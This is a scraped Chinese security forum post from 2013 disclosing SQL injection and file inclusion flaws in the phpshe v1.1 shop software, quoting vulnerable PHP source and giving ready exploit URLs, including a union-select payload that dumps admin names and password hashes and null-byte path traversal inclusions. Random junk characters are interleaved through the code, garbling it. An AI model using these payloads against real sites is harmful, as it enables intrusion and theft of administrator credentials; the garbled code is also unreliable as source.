找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2845|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
% l' D  N( f! V+ A% T/* Phpshe v1.1 Vulnerability7 H1 I: i% `2 ?1 r1 p
/* ========================
- I' o; b% M4 g" X/* By: : Kn1f3$ b% ~( `, y# r4 n, {
/* E-Mail : 681796@qq.com
7 \9 l; f+ N& w8 y/*******************************************************/
* C6 f. p' C& [+ p% K: m0×00 整体大概参数传输
. n; s& @  L/ |' w! Y
7 ?0 M* ?# \# t" c0 R; j; }) A% X; B2 i
- Z0 B9 o- ?/ ^  Z" h
5 ~; s* ^' u, r
//common.php
4 D" n, k! `% Y( ]" ?8 [if (get_magic_quotes_gpc()) {2 y! I7 B' K* P- q- i, O
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
, i) ^! R3 L8 Z3 J1 N: J- V!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
/ L, w, `4 K, U( i1 @- ]}2 {2 n- @0 B+ z* n1 {5 @5 I
else {3 H5 x" j) ^/ V) i# O9 m
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
' q: Y! H$ v8 Z, W4 ^" l! k!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');3 u( U7 X% C+ o: S4 Q4 L
}
6 ~' f% s0 P5 l9 O+ X# S& I: gsession_start();6 P# @* F- F2 e8 B( a# g9 S3 \
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');0 U9 o( ^0 f6 P# x
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');* J6 g5 s; j- @) f( R
$ {2 \. D; l9 k( h, x& t" r& u
0×01 包含漏洞
$ l% o9 B# ]7 A# d+ |- j 4 N( Q6 t0 [" b6 a& I& d# b  Q; Y
6 l$ K" S+ N2 o- a7 [. X! V( r
//首页文件) s2 p7 t1 i1 P  G
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
9 d2 r+ V5 T1 j4 yinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞5 A4 z8 a# k8 ^; f
pe_result();* {3 [  o# r9 L; y, I6 n
?>+ v; s& s2 a- V  j9 b6 G# D1 O
//common 文件 第15行开始8 _& U4 \0 C$ t  B! t
url路由配置1 N- q$ R5 W' D
$module = $mod = $act = 'index';" T- G# H( n7 t
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
/ S! N* M: B# j$ s0 T+ H0 p( y$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
1 o0 }( J0 i' S8 n9 W$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
, I  s9 W8 J& e! W% N$ {//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00  K" p4 O! N" z% q! C+ {- Y


1 P6 d/ i. n" {
8 X3 k* b( [7 [+ E 0×02 搜索注入
' _/ A* D1 [/ S% m; O
7 h# Y* Q2 B, s/ b% M<code id="code2">

//product.php文件# _- U+ w1 S  d9 w0 B
case 'list':7 i" k9 W' \+ l6 J& K& V5 }- S5 M
$category_id = intval($id);) P6 d3 [3 `' F5 @; d+ ~5 w
$info = $db->pe_select('category', array('category_id'=>$category_id));  u, Z2 [  h1 S$ s# _! }7 B6 |- Z
//搜索  K$ u, Y# U; P( ]$ ?: D% p
$sqlwhere = " and `product_state` = 1";4 S5 q+ @6 `% |' Y8 I7 }5 g
pe_lead('hook/category.hook.php');
- W5 e1 G) w% C) rif ($category_id) {
( O- D6 C! f3 g0 Bwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
7 W$ B( r2 \9 L* s4 ?% s0 v}
3 O( Y& O, G8 w7 h0 }% f" n) m$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤5 n$ f  L6 H5 j6 }
if ($_g_orderby) {" Z4 h* D, k( q, F
$orderby = explode('_', $_g_orderby);
" c* A' w! `1 R$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";+ o. }# w) e6 {8 U
}  [: k9 S% i3 O+ x' e3 A" [: Y
else {
/ Z: G' P) p9 h7 n$sqlwhere .= " order by `product_id` desc";7 U! q- D/ c, l0 \3 K9 q
}
6 D$ Z; V) U! ~% ~5 S) L. \$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
( e* ?! M& b7 E0 W6 L4 q& K' Q//热卖排行1 {% z; q) |. \* K$ m6 f
$product_hotlist = product_hotlist();3 C# y5 N0 D" E) M. }8 k7 k4 C
//当前路径5 q8 o$ ~' c" ?3 r; S9 |! S/ _4 _
$nowpath = category_path($category_id);8 e2 A, D! T( i2 _4 v
$seo = pe_seo($info['category_name']);3 J& i- ]1 F! A: x8 b- P7 `
include(pe_tpl('product_list.html'));
" s& @2 s1 ^) J" q//跟进selectall函数库2 K; \- l/ B2 P5 N  [  r
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())/ B5 x5 s0 o  Y0 K3 X' g* e
{
: M- B  U! |2 M; ?8 |7 ?: }# j//处理条件语句
* g3 y# x  l7 T: @7 C( z$sqlwhere = $this->_dowhere($where);/ [' S. n, t& A! [0 b( P7 r, A$ ]
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);! H# s0 F4 z$ D' I% d2 M. p
}2 S- M( S) W. L- f# r6 L3 t
//exp: ~6 Q/ z% r) I5 |. P. o/ q
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1. y3 G* w: Z* n$ R  \/ a

</code>+ f% z/ P! O4 h* y9 d

# }( x) z5 t3 a6 \/ S4 W0×03 包含漏洞2
0 p& F% h- Q" n% N+ D7 i5 W, B) r " e8 Q+ P- [7 M. g/ e
<code id="code3">

//order.php

case 'pay':

1 c3 r$ F' `& D. }/ V
$order_id = pe_dbhold($_g_id);


6 T- `9 H8 _0 {! L: f& B$cache_payway = cache::get('payway');


' @) O* S5 b; G' }+ Yforeach($cache_payway as $k => $v) {

1 C" k! R! q; o5 C( i( D
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


  n1 A/ V0 h) n4 r: d, N5 Sif ($k == 'bank') {

& p% K# Z9 v5 _/ N
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


' m; a7 H/ y1 u# i1 D}

/ F' E! ~! Y* R+ H3 S
}

& D2 C9 C" P* d
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


1 a5 P' ^9 W) l!$order['order_id'] && pe_error('订单号错误...');


6 u0 z+ H9 u' Gif (isset($_p_pesubmit)) {


% ?8 K% c" w* B2 tif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


8 T, V# |7 L* G4 e3 h( |) B$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

) w3 z' V  ~4 X* ]/ b! V& |4 h
foreach ($info_list as $v) {

- C) ~6 v9 q7 E2 L4 a( t
$order['order_name'] .= "{$v['product_name']};";
3 P1 E4 X0 d' V& i: M9 f0 z1 w

2 _# C5 R! r+ L5 \# `, f
}


& p& v( p5 g& G* r: Eecho '正在为您连接支付网站,请稍后...';

9 V' ]  ?/ O  a+ R
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

, S5 r0 u2 C; B+ @
}//当一切准备好的时候就可以进行"鸡肋包含了"


7 U; \* l$ Q  J# Zelse {

, e* Z6 `, H- p. W. j
pe_error('支付错误...');


/ b. R/ k/ ?% Z2 ]5 A}


, _5 x5 ^. [; U& a}

2 _( I! L. w1 l. R2 d3 |
$seo = pe_seo('选择支付方式');

  f  d3 |! i+ }/ |
include(pe_tpl('order_pay.html'));


& i: w* \$ d2 E$ [( ibreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
4 E3 l4 m# G, |; [

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表